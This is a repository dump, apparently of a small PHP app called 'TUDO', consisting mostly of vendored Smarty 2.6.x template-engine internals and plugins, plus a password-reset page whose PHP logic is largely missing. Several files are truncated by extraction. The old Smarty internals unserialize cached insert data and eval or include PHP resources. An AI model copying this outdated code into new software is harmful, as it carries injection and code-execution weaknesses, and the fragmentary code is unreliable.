{ 42 | $_res = $smarty->_unlink($_tname, $params['exp_time']); 43 | } 44 | } elseif ($smarty->use_sub_dirs) { 45 | $_params = array( 46 | 'dirname' => $_tname, 47 | 'level' => 1, 48 | 'exp_time' => $params['exp_time'] 49 | ); 50 | require_once(SMARTY_CORE_DIR . 'core.rmdir.php'); 51 | $_res = smarty_core_rmdir($_params, $smarty); 52 | } else { 53 | // remove matching file names 54 | $_handle = opendir($params['auto_base']); 55 | $_res = true; 56 | while (false !== ($_filename = readdir($_handle))) { 57 | if($_filename == '.' || $_filename == '..') { 58 | continue; 59 | } elseif (substr($params['auto_base'] . DIRECTORY_SEPARATOR . $_filename, 0, strlen($_tname)) == $_tname) { 60 | $_res &= (bool)$smarty->_unlink($params['auto_base'] . DIRECTORY_SEPARATOR . $_filename, $params['exp_time']); 61 | } 62 | } 63 | } 64 | } 65 | 66 | return $_res; 67 | } 68 | 69 | /* vim: set expandtab: */ 70 | 71 | ?> 72 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.process_cached_inserts.php: -------------------------------------------------------------------------------- 1 | _smarty_md5.'{insert_cache (.*)}'.$smarty->_smarty_md5.'!Uis', 17 | $params['results'], $match); 18 | list($cached_inserts, $insert_args) = $match; 19 | 20 | for ($i = 0, $for_max = count($cached_inserts); $i < $for_max; $i++) { 21 | if ($smarty->debugging) { 22 | $_params = array(); 23 | require_once(SMARTY_CORE_DIR . 'core.get_microtime.php'); 24 | $debug_start_time = smarty_core_get_microtime($_params, $smarty); 25 | } 26 | 27 | $args = unserialize($insert_args[$i]); 28 | $name = $args['name']; 29 | 30 | if (isset($args['script'])) { 31 | $_params = array('resource_name' => $smarty->_dequote($args['script'])); 32 | require_once(SMARTY_CORE_DIR . 'core.get_php_resource.php'); 33 | if(!smarty_core_get_php_resource($_params, $smarty)) { 34 | return false; 35 | } 36 | $resource_type = $_params['resource_type']; 37 | $php_resource = $_params['php_resource']; 38 | 39 | 40 | if ($resource_type == 'file') { 41 | $smarty->_include($php_resource, true); 42 | } else { 43 | $smarty->_eval($php_resource); 44 | } 45 | } 46 | 47 | $function_name = $smarty->_plugins['insert'][$name][0]; 48 | if (empty($args['assign'])) { 49 | $replace = $function_name($args, $smarty); 50 | } else { 51 | $smarty->assign($args['assign'], $function_name($args, $smarty)); 52 | $replace = ''; 53 | } 54 | 55 | $params['results'] = substr_replace($params['results'], $replace, strpos($params['results'], $cached_inserts[$i]), strlen($cached_inserts[$i])); 56 | if ($smarty->debugging) { 57 | $_params = array(); 58 | require_once(SMARTY_CORE_DIR . 'core.get_microtime.php'); 59 | $smarty->_smarty_debug_info[] = array('type' => 'insert', 60 | 'filename' => 'insert_'.$name, 61 | 'depth' => $smarty->_inclusion_depth, 62 | 'exec_time' => smarty_core_get_microtime($_params, $smarty) - $debug_start_time); 63 | } 64 | } 65 | 66 | return $params['results']; 67 | } 68 | 69 | /* vim: set expandtab: */ 70 | 71 | ?> 72 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.get_php_resource.php: -------------------------------------------------------------------------------- 1 | trusted_dir; 22 | $smarty->_parse_resource_name($params, $smarty); 23 | 24 | /* 25 | * Find out if the resource exists. 26 | */ 27 | 28 | if ($params['resource_type'] == 'file') { 29 | $_readable = false; 30 | if(file_exists($params['resource_name']) && is_readable($params['resource_name'])) { 31 | $_readable = true; 32 | } else { 33 | // test for file in include_path 34 | $_params = array('file_path' => $params['resource_name']); 35 | require_once(SMARTY_CORE_DIR . 'core.get_include_path.php'); 36 | if(smarty_core_get_include_path($_params, $smarty)) { 37 | $_include_path = $_params['new_file_path']; 38 | $_readable = true; 39 | } 40 | } 41 | } else if ($params['resource_type'] != 'file') { 42 | $_template_source = null; 43 | $_readable = is_callable($smarty->_plugins['resource'][$params['resource_type']][0][0]) 44 | && call_user_func_array($smarty->_plugins['resource'][$params['resource_type']][0][0], 45 | array($params['resource_name'], &$_template_source, &$smarty)); 46 | } 47 | 48 | /* 49 | * Set the error function, depending on which class calls us. 50 | */ 51 | if (method_exists($smarty, '_syntax_error')) { 52 | $_error_funcc = '_syntax_error'; 53 | } else { 54 | $_error_funcc = 'trigger_error'; 55 | } 56 | 57 | if ($_readable) { 58 | if ($smarty->security) { 59 | require_once(SMARTY_CORE_DIR . 'core.is_trusted.php'); 60 | if (!smarty_core_is_trusted($params, $smarty)) { 61 | $smarty->$_error_funcc('(secure mode) ' . $params['resource_type'] . ':' . $params['resource_name'] . ' is not trusted'); 62 | return false; 63 | } 64 | } 65 | } else { 66 | $smarty->$_error_funcc($params['resource_type'] . ':' . $params['resource_name'] . ' is not readable'); 67 | return false; 68 | } 69 | 70 | if ($params['resource_type'] == 'file') { 71 | $params['php_resource'] = $params['resource_name']; 72 | } else { 73 | $params['php_resource'] = $_template_source; 74 | } 75 | return true; 76 | } 77 | 78 | /* vim: set expandtab: */ 79 | 80 | ?> 81 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.create_dir_structure.php: -------------------------------------------------------------------------------- 1 | _dir_perms) && !is_dir($_new_dir)) { 69 | $smarty->trigger_error("problem creating directory '" . $_new_dir . "'"); 70 | return false; 71 | } 72 | $_new_dir .= '/'; 73 | } 74 | } 75 | } 76 | 77 | /* vim: set expandtab: */ 78 | 79 | ?> 80 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.run_insert_handler.php: -------------------------------------------------------------------------------- 1 | debugging) { 19 | $_params = array(); 20 | $_debug_start_time = smarty_core_get_microtime($_params, $smarty); 21 | } 22 | 23 | if ($smarty->caching) { 24 | $_arg_string = serialize($params['args']); 25 | $_name = $params['args']['name']; 26 | if (!isset($smarty->_cache_info['insert_tags'][$_name])) { 27 | $smarty->_cache_info['insert_tags'][$_name] = array('insert', 28 | $_name, 29 | $smarty->_plugins['insert'][$_name][1], 30 | $smarty->_plugins['insert'][$_name][2], 31 | !empty($params['args']['script']) ? true : false); 32 | } 33 | return $smarty->_smarty_md5."{insert_cache $_arg_string}".$smarty->_smarty_md5; 34 | } else { 35 | if (isset($params['args']['script'])) { 36 | $_params = array('resource_name' => $smarty->_dequote($params['args']['script'])); 37 | require_once(SMARTY_CORE_DIR . 'core.get_php_resource.php'); 38 | if(!smarty_core_get_php_resource($_params, $smarty)) { 39 | return false; 40 | } 41 | 42 | if ($_params['resource_type'] == 'file') { 43 | $smarty->_include($_params['php_resource'], true); 44 | } else { 45 | $smarty->_eval($_params['php_resource']); 46 | } 47 | unset($params['args']['script']); 48 | } 49 | 50 | $_funcname = $smarty->_plugins['insert'][$params['args']['name']][0]; 51 | $_content = $_funcname($params['args'], $smarty); 52 | if ($smarty->debugging) { 53 | $_params = array(); 54 | require_once(SMARTY_CORE_DIR . 'core.get_microtime.php'); 55 | $smarty->_smarty_debug_info[] = array('type' => 'insert', 56 | 'filename' => 'insert_'.$params['args']['name'], 57 | 'depth' => $smarty->_inclusion_depth, 58 | 'exec_time' => smarty_core_get_microtime($_params, $smarty) - $_debug_start_time); 59 | } 60 | 61 | if (!empty($params['args']["assign"])) { 62 | $smarty->assign($params['args']["assign"], $_content); 63 | } else { 64 | return $_content; 65 | } 66 | } 67 | } 68 | 69 | /* vim: set expandtab: */ 70 | 71 | ?> 72 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/outputfilter.trimwhitespace.php: -------------------------------------------------------------------------------- 1 | 12 | * Type: outputfilter
13 | * Name: trimwhitespace
14 | * Date: Jan 25, 2003
15 | * Purpose: trim leading white space and blank lines from 16 | * template source after it gets interpreted, cleaning 17 | * up code and saving bandwidth. Does not affect 18 | * <
>
and blocks.
19 | * Install: Drop into the plugin directory, call 20 | * $smarty->load_filter('output','trimwhitespace'); 21 | * from application. 22 | * @author Monte Ohrt 23 | * @author Contributions from Lars Noschinski 24 | * @version 1.3 25 | * @param string 26 | * @param Smarty 27 | */ 28 | function smarty_outputfilter_trimwhitespace($source, &$smarty) 29 | { 30 | // Pull out the script blocks 31 | preg_match_all("!]*?>.*?!is", $source, $match); 32 | $_script_blocks = $match[0]; 33 | $source = preg_replace("!]*?>.*?!is", 34 | '@@@SMARTY:TRIM:SCRIPT@@@', $source); 35 | 36 | // Pull out the pre blocks 37 | preg_match_all("!]*?>.*?!is", $source, $match); 38 | $_pre_blocks = $match[0]; 39 | $source = preg_replace("!]*?>.*?!is", 40 | '@@@SMARTY:TRIM:PRE@@@', $source); 41 | 42 | // Pull out the textarea blocks 43 | preg_match_all("!]*?>.*?!is", $source, $match); 44 | $_textarea_blocks = $match[0]; 45 | $source = preg_replace("!]*?>.*?!is", 46 | '@@@SMARTY:TRIM:TEXTAREA@@@', $source); 47 | 48 | // remove all leading spaces, tabs and carriage returns NOT 49 | // preceeded by a php close tag. 50 | $source = trim(preg_replace('/((?)\n)[\s]+/m', '\1', $source)); 51 | 52 | // replace textarea blocks 53 | smarty_outputfilter_trimwhitespace_replace("@@@SMARTY:TRIM:TEXTAREA@@@",$_textarea_blocks, $source); 54 | 55 | // replace pre blocks 56 | smarty_outputfilter_trimwhitespace_replace("@@@SMARTY:TRIM:PRE@@@",$_pre_blocks, $source); 57 | 58 | // replace script blocks 59 | smarty_outputfilter_trimwhitespace_replace("@@@SMARTY:TRIM:SCRIPT@@@",$_script_blocks, $source); 60 | 61 | return $source; 62 | } 63 | 64 | function smarty_outputfilter_trimwhitespace_replace($search_str, $replace, &$subject) { 65 | $_len = strlen($search_str); 66 | $_pos = 0; 67 | for ($_i=0, $_count=count($replace); $_i<$_count; $_i++) 68 | if (($_pos=strpos($subject, $search_str, $_pos))!==false) 69 | $subject = substr_replace($subject, $replace[$_i], $_pos, $_len); 70 | else 71 | break; 72 | 73 | } 74 | 75 | ?> 76 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.escape.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: escape
14 | * Purpose: Escape the string according to escapement type 15 | * @link http://smarty.php.net/manual/en/language.modifier.escape.php 16 | * escape (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param string 19 | * @param html|htmlall|url|quotes|hex|hexentity|javascript 20 | * @return string 21 | */ 22 | function smarty_modifier_escape($string, $esc_type = 'html', $char_set = 'ISO-8859-1') 23 | { 24 | switch ($esc_type) { 25 | case 'html': 26 | return htmlspecialchars($string, ENT_QUOTES, $char_set); 27 | 28 | case 'htmlall': 29 | return htmlentities($string, ENT_QUOTES, $char_set); 30 | 31 | case 'url': 32 | return rawurlencode($string); 33 | 34 | case 'urlpathinfo': 35 | return str_replace('%2F','/',rawurlencode($string)); 36 | 37 | case 'quotes': 38 | // escape unescaped single quotes 39 | return preg_replace("%(?'\\\\',"'"=>"\\'",'"'=>'\\"',"\r"=>'\\r',"\n"=>'\\n',''<\/')); 66 | 67 | case 'mail': 68 | // safe way to display e-mail address on a web page 69 | return str_replace(array('@', '.'),array(' [AT] ', ' [DOT] '), $string); 70 | 71 | case 'nonstd': 72 | // escape non-standard chars, such as ms document quotes 73 | $_res = ''; 74 | for($_i = 0, $_len = strlen($string); $_i < $_len; $_i++) { 75 | $_ord = ord(substr($string, $_i, 1)); 76 | // non-standard char, escape it 77 | if($_ord >= 126){ 78 | $_res .= '&#' . $_ord . ';'; 79 | } 80 | else { 81 | $_res .= substr($string, $_i, 1); 82 | } 83 | } 84 | return $_res; 85 | 86 | default: 87 | return $string; 88 | } 89 | } 90 | 91 | /* vim: set expandtab: */ 92 | 93 | ?> 94 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.debug_print_var.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: debug_print_var
14 | * Purpose: formats variable contents for display in the console 15 | * @link http://smarty.php.net/manual/en/language.modifier.debug.print.var.php 16 | * debug_print_var (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param array|object 19 | * @param integer 20 | * @param integer 21 | * @return string 22 | */ 23 | function smarty_modifier_debug_print_var($var, $depth = 0, $length = 40) 24 | { 25 | $_replace = array( 26 | "\n" => '\n', 27 | "\r" => '\r', 28 | "\t" => '\t' 29 | ); 30 | 31 | switch (gettype($var)) { 32 | case 'array' : 33 | $results = 'Array (' . count($var) . ')'; 34 | foreach ($var as $curr_key => $curr_val) { 35 | $results .= '
' . str_repeat(' ', $depth * 2) 36 | . '' . strtr($curr_key, $_replace) . ' => ' 37 | . smarty_modifier_debug_print_var($curr_val, ++$depth, $length); 38 | $depth--; 39 | } 40 | break; 41 | case 'object' : 42 | $object_vars = get_object_vars($var); 43 | $results = '' . get_class($var) . ' Object (' . count($object_vars) . ')'; 44 | foreach ($object_vars as $curr_key => $curr_val) { 45 | $results .= '
' . str_repeat(' ', $depth * 2) 46 | . ' ->' . strtr($curr_key, $_replace) . ' = ' 47 | . smarty_modifier_debug_print_var($curr_val, ++$depth, $length); 48 | $depth--; 49 | } 50 | break; 51 | case 'boolean' : 52 | case 'NULL' : 53 | case 'resource' : 54 | if (true === $var) { 55 | $results = 'true'; 56 | } elseif (false === $var) { 57 | $results = 'false'; 58 | } elseif (null === $var) { 59 | $results = 'null'; 60 | } else { 61 | $results = htmlspecialchars((string) $var); 62 | } 63 | $results = '' . $results . ''; 64 | break; 65 | case 'integer' : 66 | case 'float' : 67 | $results = htmlspecialchars((string) $var); 68 | break; 69 | case 'string' : 70 | $results = strtr($var, $_replace); 71 | if (strlen($var) > $length ) { 72 | $results = substr($var, 0, $length - 3) . '...'; 73 | } 74 | $results = htmlspecialchars('"' . $results . '"'); 75 | break; 76 | case 'unknown type' : 77 | default : 78 | $results = strtr((string) $var, $_replace); 79 | if (strlen($results) > $length ) { 80 | $results = substr($results, 0, $length - 3) . '...'; 81 | } 82 | $results = htmlspecialchars($results); 83 | } 84 | 85 | return $results; 86 | } 87 | 88 | /* vim: set expandtab: */ 89 | 90 | ?> 91 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/block.textformat.php: -------------------------------------------------------------------------------- 1 | 12 | * Name: textformat
13 | * Purpose: format text a certain way with preset styles 14 | * or custom wrap/indent settings
15 | * @link http://smarty.php.net/manual/en/language.function.textformat.php {textformat} 16 | * (Smarty online manual) 17 | * @param array 18 | *
 19 |  * Params:   style: string (email)
 20 |  *           indent: integer (0)
 21 |  *           wrap: integer (80)
 22 |  *           wrap_char string ("\n")
 23 |  *           indent_char: string (" ")
 24 |  *           wrap_boundary: boolean (true)
 25 |  * 
26 | * @author Monte Ohrt 27 | * @param string contents of the block 28 | * @param Smarty clever simulation of a method 29 | * @return string string $content re-formatted 30 | */ 31 | function smarty_block_textformat($params, $content, &$smarty) 32 | { 33 | if (is_null($content)) { 34 | return; 35 | } 36 | 37 | $style = null; 38 | $indent = 0; 39 | $indent_first = 0; 40 | $indent_char = ' '; 41 | $wrap = 80; 42 | $wrap_char = "\n"; 43 | $wrap_cut = false; 44 | $assign = null; 45 | 46 | foreach ($params as $_key => $_val) { 47 | switch ($_key) { 48 | case 'style': 49 | case 'indent_char': 50 | case 'wrap_char': 51 | case 'assign': 52 | $$_key = (string)$_val; 53 | break; 54 | 55 | case 'indent': 56 | case 'indent_first': 57 | case 'wrap': 58 | $$_key = (int)$_val; 59 | break; 60 | 61 | case 'wrap_cut': 62 | $$_key = (bool)$_val; 63 | break; 64 | 65 | default: 66 | $smarty->trigger_error("textformat: unknown attribute '$_key'"); 67 | } 68 | } 69 | 70 | if ($style == 'email') { 71 | $wrap = 72; 72 | } 73 | 74 | // split into paragraphs 75 | $_paragraphs = preg_split('![\r\n][\r\n]!',$content); 76 | $_output = ''; 77 | 78 | for($_x = 0, $_y = count($_paragraphs); $_x < $_y; $_x++) { 79 | if ($_paragraphs[$_x] == '') { 80 | continue; 81 | } 82 | // convert mult. spaces & special chars to single space 83 | $_paragraphs[$_x] = preg_replace(array('!\s+!','!(^\s+)|(\s+$)!'), array(' ',''), $_paragraphs[$_x]); 84 | // indent first line 85 | if($indent_first > 0) { 86 | $_paragraphs[$_x] = str_repeat($indent_char, $indent_first) . $_paragraphs[$_x]; 87 | } 88 | // wordwrap sentences 89 | $_paragraphs[$_x] = wordwrap($_paragraphs[$_x], $wrap - $indent, $wrap_char, $wrap_cut); 90 | // indent lines 91 | if($indent > 0) { 92 | $_paragraphs[$_x] = preg_replace('!^!m', str_repeat($indent_char, $indent), $_paragraphs[$_x]); 93 | } 94 | } 95 | $_output = implode($wrap_char . $wrap_char, $_paragraphs); 96 | 97 | return $assign ? $smarty->assign($assign, $_output) : $_output; 98 | 99 | } 100 | 101 | /* vim: set expandtab: */ 102 | 103 | ?> 104 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.write_compiled_include.php: -------------------------------------------------------------------------------- 1 | caching && \!\$this->_cache_including\)\: echo \'\{nocache\:('.$params['cache_serial'].')#(\d+)\}\'; endif;'; 19 | $_tag_end = 'if \(\$this->caching && \!\$this->_cache_including\)\: echo \'\{/nocache\:(\\2)#(\\3)\}\'; endif;'; 20 | 21 | preg_match_all('!('.$_tag_start.'(.*)'.$_tag_end.')!Us', 22 | $params['compiled_content'], $_match_source, PREG_SET_ORDER); 23 | 24 | // no nocache-parts found: done 25 | if (count($_match_source)==0) return; 26 | 27 | // convert the matched php-code to functions 28 | $_include_compiled = "_version.", created on ".strftime("%Y-%m-%d %H:%M:%S")."\n"; 29 | $_include_compiled .= " compiled from " . strtr(urlencode($params['resource_name']), array('%2F'=>'/', '%3A'=>':')) . " */\n\n"; 30 | 31 | $_compile_path = $params['include_file_path']; 32 | 33 | $smarty->_cache_serials[$_compile_path] = $params['cache_serial']; 34 | $_include_compiled .= "\$this->_cache_serials['".$_compile_path."'] = '".$params['cache_serial']."';\n\n?>"; 35 | 36 | $_include_compiled .= $params['plugins_code']; 37 | $_include_compiled .= "= 5.0) ? '_smarty' : 'this'; 40 | for ($_i = 0, $_for_max = count($_match_source); $_i < $_for_max; $_i++) { 41 | $_match =& $_match_source[$_i]; 42 | $source = $_match[4]; 43 | if ($this_varname == '_smarty') { 44 | /* rename $this to $_smarty in the sourcecode */ 45 | $tokens = token_get_all('\n"; 81 | 82 | $_params = array('filename' => $_compile_path, 83 | 'contents' => $_include_compiled, 'create_dirs' => true); 84 | 85 | require_once(SMARTY_CORE_DIR . 'core.write_file.php'); 86 | smarty_core_write_file($_params, $smarty); 87 | return true; 88 | } 89 | 90 | 91 | ?> 92 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/QUICK_START: -------------------------------------------------------------------------------- 1 | This is a simple guide to get Smarty setup and running quickly. The online 2 | documentation includes a very thorough explanation of a Smarty installation. 3 | This guide is meant to be a quick and painless way of getting Smarty working, 4 | and nothing more. The guide assumes you are familiar with the UNIX system 5 | environment. Windows users will need to make adjustments where necessary. 6 | 7 | INSTALL SMARTY LIBRARY FILES 8 | 9 | Copy the Smarty library files to your system. In our example, we place them in 10 | /usr/local/lib/php/Smarty/ 11 | 12 | $> cd YOUR_DOWNLOAD_DIRECTORY 13 | $> gtar -ztvf Smarty-2.6.7.tar.gz 14 | $> mkdir /usr/local/lib/php/Smarty 15 | $> cp -r Smarty-2.6.7/libs/* /usr/local/lib/php/Smarty 16 | 17 | You should now have the following file structure: 18 | 19 | /usr/local/lib/php/Smarty/ 20 | Config_File.class.php 21 | debug.tpl 22 | internals/ 23 | plugins/ 24 | Smarty.class.php 25 | Smarty_Compiler.class.php 26 | 27 | 28 | SETUP SMARTY DIRECTORIES 29 | 30 | You will need four directories setup for Smarty to work. These files are for 31 | templates, compiled templates, cached templates and config files. You may or 32 | may not use caching or config files, but it is a good idea to set them up 33 | anyways. It is also recommended to place them outside of the web server 34 | document root. The web server PHP user will need write access to the cache and 35 | compile directories as well. 36 | 37 | In our example, the document root is /web/www.domain.com/docs and the 38 | web server username is "nobody". We will keep our Smarty files under 39 | /web/www.domain.com/smarty 40 | 41 | $> cd /web/www.domain.com 42 | $> mkdir smarty 43 | $> mkdir smarty/templates 44 | $> mkdir smarty/templates_c 45 | $> mkdir smarty/cache 46 | $> mkdir smarty/configs 47 | $> chown nobody:nobody smarty/templates_c 48 | $> chown nobody:nobody smarty/cache 49 | $> chmod 775 smarty/templates_c 50 | $> chmod 775 smarty/cache 51 | 52 | 53 | SETUP SMARTY PHP SCRIPTS 54 | 55 | Now we setup our application in the document root: 56 | 57 | $> cd /web/www.domain.com/docs 58 | $> mkdir myapp 59 | $> cd myapp 60 | $> vi index.php 61 | 62 | Edit the index.php file to look like the following: 63 | 64 | template_dir = '/web/www.domain.com/smarty/templates'; 71 | $smarty->compile_dir = '/web/www.domain.com/smarty/templates_c'; 72 | $smarty->cache_dir = '/web/www.domain.com/smarty/cache'; 73 | $smarty->config_dir = '/web/www.domain.com/smarty/configs'; 74 | 75 | $smarty->assign('name', 'Ned'); 76 | $smarty->display('index.tpl'); 77 | 78 | ?> 79 | 80 | 81 | SETUP SMARTY TEMPLATE 82 | 83 | $> vi /web/www.domain.com/smarty/templates/index.tpl 84 | 85 | Edit the index.tpl file with the following: 86 | 87 | 88 | 89 | Smarty 90 | 91 | 92 | Hello, {$name}! 93 | 94 | 95 | 96 | 97 | 98 | Now go to your new application through the web browser, 99 | http://www.domain.com/myapp/index.php in our example. You should see the text 100 | "Hello Ned!" in your browser. 101 | 102 | Once you get this far, you can continue on to the Smarty Crash Course to learn 103 | a few more simple things, or on to the documentation to learn it all. 104 | -------------------------------------------------------------------------------- /app/resetpassword.php: -------------------------------------------------------------------------------- 1 | 52 | 53 | 54 | 55 | TUDO/Reset Password 56 | 57 | 58 | 59 | 60 |
61 | Token is invalid.'; 64 | echo 'Go back'; 65 | die(); 66 | } 67 | 68 | if (isset($pass_error)) { 69 | echo '

Passwords don\'t match.


'; 70 | echo 'Go back'; 71 | die(); 72 | } 73 | ?> 74 |
75 |
76 |

Reset Password:

77 | 78 |

79 |

80 | 81 | Password changed!";} ?> 82 |

83 | 84 |
85 |
86 |
87 | 88 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/README: -------------------------------------------------------------------------------- 1 | 2 | NAME: 3 | 4 | Smarty - the PHP compiling template engine 5 | 6 | VERSION: 2.6.18 7 | 8 | AUTHORS: 9 | 10 | Monte Ohrt 11 | Andrei Zmievski 12 | 13 | MAILING LISTS: 14 | 15 | We have a few mailing lists. "discussion" for you to share your ideas or ask 16 | questions, "developers" for those interested in the development efforts of Smarty, 17 | and "svn" for those that would like to track the updates made in the svn 18 | repository. 19 | 20 | send a blank e-mail message to: 21 | smarty-discussion-subscribe@googlecode.com(subscribe to the general discussion list) 22 | smarty-discussion-unsubscribe@googlecode.com (unsubscribe from the general discussion list) 23 | smarty-discussion-digest-subscribe@googlecode.com (subscribe to digest) 24 | smarty-discussion-digest-unsubscribe@googlecode.com (unsubscribe from digest) 25 | smarty-developers-subscribe@googlecode.com (subscribe to the dev list) 26 | smarty-developers-unsubscribe@googlecode.com (unsubscribe from the dev list) 27 | smarty-svn-subscribe@googlecode.com (subscribe to the svn list) 28 | smarty-svn-unsubscribe@googlecode.com (unsubscribe from the svn list) 29 | 30 | You can also browse the mailing list archives at 31 | http://groups.google.com/group/smarty-discussion 32 | http://groups.google.com/group/smarty-developers 33 | 34 | and the OLD list archives at 35 | http://marc.theaimsgroup.com/?l=smarty&r=1&w=2 36 | 37 | SYNOPSIS: 38 | 39 | require("Smarty.class.php"); 40 | 41 | $smarty = new Smarty; 42 | 43 | $smarty->assign("Title","My Homepage"); 44 | $smarty->assign("Names",array("John","Gary","Gregg","James")); 45 | 46 | $smarty->display("index.tpl"); 47 | 48 | 49 | DESCRIPTION: 50 | 51 | What is Smarty? 52 | 53 | Smarty is a template engine for PHP. Many other template engines for PHP 54 | provide basic variable substitution and dynamic block functionality. 55 | Smarty takes a step further to be a "smart" template engine, adding 56 | features such as configuration files, template functions, and variable 57 | modifiers, and making all of this functionality as easy as possible to 58 | use for both programmers and template designers. Smarty also converts 59 | the templates into PHP scripts, eliminating the need to parse the 60 | templates on every invocation. This makes Smarty extremely scalable and 61 | manageable for large application needs. 62 | 63 | Some of Smarty's features: 64 | 65 | * it is extremely fast 66 | * no template parsing overhead, only compiles once. 67 | * it is smart about recompiling only the template files that have 68 | changed. 69 | * the template language is remarkably extensible via the plugin 70 | architecture. 71 | * configurable template delimiter tag syntax, so you can use 72 | {}, {{}}, , or whatever you like. 73 | * built-in caching of template output. 74 | * arbitrary template sources (filesystem, databases, etc.) 75 | * template if/elseif/else/endif constructs are passed to the PHP parser, 76 | so the if syntax can be as simple or as complex as you like. 77 | * unlimited nesting of sections, conditionals, etc. allowed 78 | * it is possible to embed PHP code right in your template files, 79 | although not recommended and doubtfully needed since the engine 80 | is so customizable. 81 | * and many more. 82 | 83 | COPYRIGHT: 84 | Copyright (c) 2001-2005 New Digital Group, Inc. All rights reserved. 85 | This software is released under the GNU Lesser General Public License. 86 | Please read the disclaimer at the top of the Smarty.class.php file. 87 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/function.cycle.php: -------------------------------------------------------------------------------- 1 | 12 | * Name: cycle
13 | * Date: May 3, 2002
14 | * Purpose: cycle through given values
15 | * Input: 16 | * - name = name of cycle (optional) 17 | * - values = comma separated list of values to cycle, 18 | * or an array of values to cycle 19 | * (this can be left out for subsequent calls) 20 | * - reset = boolean - resets given var to true 21 | * - print = boolean - print var or not. default is true 22 | * - advance = boolean - whether or not to advance the cycle 23 | * - delimiter = the value delimiter, default is "," 24 | * - assign = boolean, assigns to template var instead of 25 | * printed. 26 | * 27 | * Examples:
28 | *
 29 |  * {cycle values="#eeeeee,#d0d0d0d"}
 30 |  * {cycle name=row values="one,two,three" reset=true}
 31 |  * {cycle name=row}
 32 |  * 
33 | * @link http://smarty.php.net/manual/en/language.function.cycle.php {cycle} 34 | * (Smarty online manual) 35 | * @author Monte Ohrt 36 | * @author credit to Mark Priatel 37 | * @author credit to Gerard 38 | * @author credit to Jason Sweat 39 | * @version 1.3 40 | * @param array 41 | * @param Smarty 42 | * @return string|null 43 | */ 44 | function smarty_function_cycle($params, &$smarty) 45 | { 46 | static $cycle_vars; 47 | 48 | $name = (empty($params['name'])) ? 'default' : $params['name']; 49 | $print = (isset($params['print'])) ? (bool)$params['print'] : true; 50 | $advance = (isset($params['advance'])) ? (bool)$params['advance'] : true; 51 | $reset = (isset($params['reset'])) ? (bool)$params['reset'] : false; 52 | 53 | if (!in_array('values', array_keys($params))) { 54 | if(!isset($cycle_vars[$name]['values'])) { 55 | $smarty->trigger_error("cycle: missing 'values' parameter"); 56 | return; 57 | } 58 | } else { 59 | if(isset($cycle_vars[$name]['values']) 60 | && $cycle_vars[$name]['values'] != $params['values'] ) { 61 | $cycle_vars[$name]['index'] = 0; 62 | } 63 | $cycle_vars[$name]['values'] = $params['values']; 64 | } 65 | 66 | if (isset($params['delimiter'])) { 67 | $cycle_vars[$name]['delimiter'] = $params['delimiter']; 68 | } elseif (!isset($cycle_vars[$name]['delimiter'])) { 69 | $cycle_vars[$name]['delimiter'] = ','; 70 | } 71 | 72 | if(is_array($cycle_vars[$name]['values'])) { 73 | $cycle_array = $cycle_vars[$name]['values']; 74 | } else { 75 | $cycle_array = explode($cycle_vars[$name]['delimiter'],$cycle_vars[$name]['values']); 76 | } 77 | 78 | if(!isset($cycle_vars[$name]['index']) || $reset ) { 79 | $cycle_vars[$name]['index'] = 0; 80 | } 81 | 82 | if (isset($params['assign'])) { 83 | $print = false; 84 | $smarty->assign($params['assign'], $cycle_array[$cycle_vars[$name]['index']]); 85 | } 86 | 87 | if($print) { 88 | $retval = $cycle_array[$cycle_vars[$name]['index']]; 89 | } else { 90 | $retval = null; 91 | } 92 | 93 | if($advance) { 94 | if ( $cycle_vars[$name]['index'] >= count($cycle_array) -1 ) { 95 | $cycle_vars[$name]['index'] = 0; 96 | } else { 97 | $cycle_vars[$name]['index']++; 98 | } 99 | } 100 | 101 | return $retval; 102 | } 103 | 104 | /* vim: set expandtab: */ 105 | 106 | ?> 107 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/function.popup.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: popup
14 | * Purpose: make text pop up in windows via overlib 15 | * @link http://smarty.php.net/manual/en/language.function.popup.php {popup} 16 | * (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param array 19 | * @param Smarty 20 | * @return string 21 | */ 22 | function smarty_function_popup($params, &$smarty) 23 | { 24 | $append = ''; 25 | foreach ($params as $_key=>$_value) { 26 | switch ($_key) { 27 | case 'text': 28 | case 'trigger': 29 | case 'function': 30 | case 'inarray': 31 | $$_key = (string)$_value; 32 | if ($_key == 'function' || $_key == 'inarray') 33 | $append .= ',' . strtoupper($_key) . ",'$_value'"; 34 | break; 35 | 36 | case 'caption': 37 | case 'closetext': 38 | case 'status': 39 | $append .= ',' . strtoupper($_key) . ",'" . str_replace("'","\'",$_value) . "'"; 40 | break; 41 | 42 | case 'fgcolor': 43 | case 'bgcolor': 44 | case 'textcolor': 45 | case 'capcolor': 46 | case 'closecolor': 47 | case 'textfont': 48 | case 'captionfont': 49 | case 'closefont': 50 | case 'fgbackground': 51 | case 'bgbackground': 52 | case 'caparray': 53 | case 'capicon': 54 | case 'background': 55 | case 'frame': 56 | $append .= ',' . strtoupper($_key) . ",'$_value'"; 57 | break; 58 | 59 | case 'textsize': 60 | case 'captionsize': 61 | case 'closesize': 62 | case 'width': 63 | case 'height': 64 | case 'border': 65 | case 'offsetx': 66 | case 'offsety': 67 | case 'snapx': 68 | case 'snapy': 69 | case 'fixx': 70 | case 'fixy': 71 | case 'padx': 72 | case 'pady': 73 | case 'timeout': 74 | case 'delay': 75 | $append .= ',' . strtoupper($_key) . ",$_value"; 76 | break; 77 